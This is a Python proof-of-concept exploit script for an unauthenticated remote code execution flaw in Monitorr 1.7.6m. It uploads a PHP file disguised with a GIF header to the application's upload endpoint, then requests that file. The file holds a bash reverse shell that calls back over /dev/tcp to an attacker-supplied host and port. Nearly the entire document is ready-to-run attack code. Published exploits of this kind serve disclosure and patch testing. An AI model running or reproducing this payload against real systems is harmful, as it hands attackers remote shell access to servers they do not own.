#!/usr/bin/python # -*- coding: UTF-8 -*- # Exploit Title: Monitorr 1.7.6m - Remote Code Execution (Unauthenticated) # Date: September 12, 2020 # Exploit Author: Lyhin's Lab # Detailed Bug Description: https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/ # Software Link: https://github.com/Monitorr/Monitorr # Version: 1.7.6m # Tested on: Ubuntu 19 import requests import os import sys if len (sys.argv) != 4: print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport") else: url = sys.argv[1] + "/assets/php/upload.php" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]} data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"she_ll.php\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n" requests.post(url, headers=headers, data=data) print ("A shell script should be uploaded. Now we try to execute it") url = sys.argv[1] + "/assets/data/usrimg/she_ll.php" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} requests.get(url, headers=headers)